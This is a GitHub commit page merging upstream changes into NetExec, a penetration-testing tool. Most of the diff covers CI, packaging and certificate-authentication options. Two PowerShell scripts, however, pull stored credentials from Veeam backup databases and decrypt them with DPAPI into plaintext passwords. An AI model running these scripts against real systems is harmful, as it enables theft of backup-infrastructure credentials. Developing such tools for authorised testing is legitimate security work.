Skip to content

Commit 3fa175b

Browse files
committed
Merge upstream/main and resolve conflicts
2 parents 446c8c5 + c198413 commit 3fa175b

107 files changed

Lines changed: 6025 additions & 3209 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

.github/workflows/build-binaries.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ jobs:
1010
strategy:
1111
matrix:
1212
os: [ubuntu-latest, macOS-latest, windows-latest]
13-
python-version: ["3.12"]
13+
python-version: ["3.13"]
1414
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
1515
steps:
1616
- uses: actions/checkout@v4
@@ -20,7 +20,7 @@ jobs:
2020
python-version: ${{ matrix.python-version }}
2121
- name: Build Native Binary
2222
run: |
23-
pip install pyinstaller
23+
pip install pyinstaller pillow
2424
pip install .
2525
pyinstaller netexec.spec
2626
- name: Upload Windows Binary

.github/workflows/build-zipapps.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ jobs:
1010
strategy:
1111
matrix:
1212
os: [ubuntu-latest, macOS-latest, windows-latest]
13-
python-version: ["3.10", "3.11", "3.12"]
13+
python-version: ["3.10", "3.11", "3.12", "3.13"]
1414
steps:
1515
- uses: actions/checkout@v4
1616
- name: NetExec set up python on ${{ matrix.os }}

.github/workflows/lint.yml

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,14 @@ name: Lint Python code with ruff
44
on:
55
push:
66
workflow_dispatch:
7+
pull_request_review:
8+
types: [submitted]
79

810
jobs:
911
lint:
1012
runs-on: ubuntu-latest
1113
if:
12-
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
14+
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
1315

1416
steps:
1517
- uses: actions/checkout@v4
@@ -19,7 +21,7 @@ jobs:
1921
- name: Set up Python
2022
uses: actions/setup-python@v5
2123
with:
22-
python-version: 3.12
24+
python-version: 3.13
2325
cache: poetry
2426
cache-dependency-path: poetry.lock
2527
- name: Install dependencies with dev group

.github/workflows/test.yml

Lines changed: 5 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -8,18 +8,20 @@ on:
88
jobs:
99
build:
1010
name: Test for Py${{ matrix.python-version }}
11-
if: github.event.review.state == 'APPROVED'
11+
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
1212
runs-on: ${{ matrix.os }}
1313
strategy:
1414
max-parallel: 5
1515
matrix:
1616
os: [ubuntu-latest]
17-
python-version: ["3.10", "3.11", "3.12"]
17+
python-version: ["3.10", "3.11", "3.12", "3.13"]
1818
steps:
1919
- uses: actions/checkout@v4
2020
- name: Install poetry
2121
run: |
2222
pipx install poetry
23+
poetry --version
24+
poetry env info
2325
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
2426
uses: actions/setup-python@v5
2527
with:
@@ -29,11 +31,6 @@ jobs:
2931
- name: Install with pipx
3032
run: |
3133
pipx install . --python python${{ matrix.python-version }}
32-
- name: Install poetry
33-
run: |
34-
pipx install poetry --python python${{ matrix.python-version }}
35-
poetry --version
36-
poetry env info
3734
- name: Install libraries with dev group
3835
run: |
3936
poetry install --with dev
@@ -48,4 +45,4 @@ jobs:
4845
poetry run netexec mssql 127.0.0.1
4946
poetry run netexec ssh 127.0.0.1
5047
poetry run netexec ftp 127.0.0.1
51-
poetry run netexec smb 127.0.0.1 -M veeam
48+
poetry run netexec smb 127.0.0.1 -L

LICENSE

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
1+
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
22
Copyright (c) 2022, byt3bl33d3r
33
All rights reserved.
44

netexec.spec

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ a = Analysis(
2020
'aardwolf.commons.target',
2121
'aardwolf.protocol.x224.constants',
2222
'impacket.examples.secretsdump',
23+
'impacket.examples.regsecrets',
2324
'impacket.dcerpc.v5.lsat',
2425
'impacket.dcerpc.v5.transport',
2526
'impacket.dcerpc.v5.lsad',
@@ -30,6 +31,7 @@ a = Analysis(
3031
'impacket.tds',
3132
'impacket.version',
3233
'impacket.ldap.ldap',
34+
'jwt',
3335
'nxc.connection',
3436
'nxc.servers.smb',
3537
'nxc.protocols.smb.wmiexec',
@@ -46,7 +48,6 @@ a = Analysis(
4648
'nxc.helpers.ntlm_parser',
4749
'paramiko',
4850
'pypsrp.client',
49-
'pywerview.cli.helpers',
5051
'pylnk3',
5152
'pypykatz',
5253
'pyNfsClient',
@@ -71,6 +72,7 @@ a = Analysis(
7172
'dploot.triage.masterkeys',
7273
'dploot.triage.mobaxterm',
7374
'dploot.triage.backupkey',
75+
'dploot.triage.wam',
7476
'dploot.triage.wifi',
7577
'dploot.triage.sccm',
7678
'dploot.lib.target',

nxc/cli.py

Lines changed: 16 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,13 @@ def gen_cli_args():
1919

2020
try:
2121
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
22+
DISTANCE, COMMIT = COMMIT.split(".")
2223
except ValueError:
2324
VERSION = importlib.metadata.version("netexec")
2425
COMMIT = ""
25-
CODENAME = "NeedForSpeed"
26-
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
26+
DISTANCE = ""
27+
CODENAME = "SmoothOperator"
28+
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
2729

2830
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
2931
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
@@ -53,9 +55,9 @@ def gen_cli_args():
5355
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
5456
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
5557
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
56-
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
57-
\ /
58-
58+
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
59+
˙ \ / ˙
60+
˙ ˙
5961
6062
The network execution tool
6163
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -98,6 +100,13 @@ def gen_cli_args():
98100
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
99101
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
100102
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
103+
104+
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
105+
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
106+
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
107+
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
108+
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
109+
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
101110

102111
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
103112
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
@@ -115,15 +124,15 @@ def gen_cli_args():
115124
except Exception as e:
116125
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
117126

118-
argcomplete.autocomplete(parser)
127+
argcomplete.autocomplete(parser, always_complete_options=False)
119128
args = parser.parse_args()
120129

121130
if len(sys.argv) == 1:
122131
parser.print_help()
123132
sys.exit(1)
124133

125134
if args.version:
126-
print(f"{VERSION} - {CODENAME} - {COMMIT}")
135+
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
127136
sys.exit(1)
128137

129138
# Multiply output_tries by 10 to enable more fine granural control, see exec methods

nxc/connection.py

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,7 @@
11
import random
2+
import sys
3+
import contextlib
4+
25
from os.path import isfile
36
from threading import BoundedSemaphore
47
from functools import wraps
@@ -13,10 +16,9 @@
1316
from nxc.logger import nxc_logger, NXCAdapter
1417
from nxc.context import Context
1518
from nxc.protocols.ldap.laps import laps_search
19+
from nxc.helpers.pfx import pfx_auth
1620

1721
from impacket.dcerpc.v5 import transport
18-
import sys
19-
import contextlib
2022

2123
sem = BoundedSemaphore(1)
2224
global_failed_logins = 0
@@ -384,10 +386,10 @@ def parse_credentials(self):
384386
if isfile(user):
385387
with open(user) as user_file:
386388
for line in user_file:
387-
if "\\" in line:
389+
if "\\" in line and len(line.split("\\")) == 2:
388390
domain_single, username_single = line.split("\\")
389391
else:
390-
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
392+
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
391393
username_single = line
392394
domain.append(domain_single)
393395
username.append(username_single.strip())
@@ -396,7 +398,7 @@ def parse_credentials(self):
396398
if "\\" in user:
397399
domain_single, username_single = user.split("\\")
398400
else:
399-
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
401+
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
400402
username_single = user
401403
domain.append(domain_single)
402404
username.append(username_single)
@@ -548,6 +550,14 @@ def login(self):
548550
self.logger.info("Successfully authenticated using Kerberos cache")
549551
return True
550552

553+
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
554+
self.logger.debug("Trying to authenticate using Certificate pfx")
555+
if not self.args.username:
556+
self.logger.fail("You must specify a username when using certificate authentication")
557+
return False
558+
with sem:
559+
return pfx_auth(self)
560+
551561
if hasattr(self.args, "laps") and self.args.laps:
552562
self.logger.debug("Trying to authenticate using LAPS")
553563
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

Lines changed: 37 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,10 @@
11
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
22
$SqlServerName = "REPLACE_ME_SqlServer"
33
$SqlInstanceName = "REPLACE_ME_SqlInstance"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

56
#Forming the connection string
6-
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
7+
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
78
$auth = "Integrated Security=SSPI;" #Local user
89
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
910
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
2223
exit -1
2324
}
2425

25-
$rows=($dataset.Tables | Select-Object -Expand Rows)
26-
if ($rows.count -eq 0) {
26+
$output=($dataset.Tables | Select-Object -Expand Rows)
27+
if ($output.count -eq 0) {
2728
Write-Host "No passwords found!"
2829
exit
2930
}
3031

3132
Add-Type -assembly System.Security
32-
#Decrypting passwords using DPAPI
33-
$rows | ForEach-Object -Process {
34-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
35-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
33+
# Decrypting passwords using DPAPI
34+
$output | ForEach-Object -Process {
35+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
3636
$enc = [system.text.encoding]::Default
37-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
37+
38+
try {
39+
# Decrypt password with DPAPI (old Veeam versions)
40+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
41+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
42+
} catch {
43+
try{
44+
# Decrypt password with salted DPAPI (new Veeam versions)
45+
$salt = [System.Convert]::FromBase64String($b64Salt)
46+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
47+
foreach ($byte in $EncryptedPWD)
48+
{
49+
$hex.AppendFormat("{0:x2}", $byte) > $null
50+
}
51+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
52+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
53+
for ($i = 0; $i -lt $hex.Length; $i += 2)
54+
{
55+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
56+
}
57+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
58+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
59+
}catch {
60+
$pw_string = "COULD_NOT_DECRYPT"
61+
}
62+
}
63+
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
64+
$_.password = $pw_string
65+
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
3866
}
3967

40-
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
68+
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
Lines changed: 34 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,50 @@
11
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
22
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
33
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

5-
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
6+
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
67
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
78

89
if ($output.count -eq 0) {
910
Write-Host "No passwords found!"
1011
exit
1112
}
1213

14+
# Decrypting passwords using DPAPI
1315
Add-Type -assembly System.Security
14-
#Decrypting passwords using DPAPI
1516
$output | ForEach-Object -Process {
16-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
17-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
17+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
1818
$enc = [system.text.encoding]::Default
19-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
19+
20+
try {
21+
# Decrypt password with DPAPI (old Veeam versions)
22+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
23+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
24+
} catch {
25+
try{
26+
# Decrypt password with salted DPAPI (new Veeam versions)
27+
$salt = [System.Convert]::FromBase64String($b64Salt)
28+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
29+
foreach ($byte in $EncryptedPWD)
30+
{
31+
$hex.AppendFormat("{0:x2}", $byte) > $null
32+
}
33+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
34+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
35+
for ($i = 0; $i -lt $hex.Length; $i += 2)
36+
{
37+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
38+
}
39+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
40+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
41+
}catch {
42+
$pw_string = "COULD_NOT_DECRYPT"
43+
}
44+
}
45+
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
46+
$_.password = $pw_string
47+
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
2048
}
2149

22-
Write-Output $output | Format-Table -HideTableHeaders | Out-String
50+
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

0 commit comments

Comments
 (0)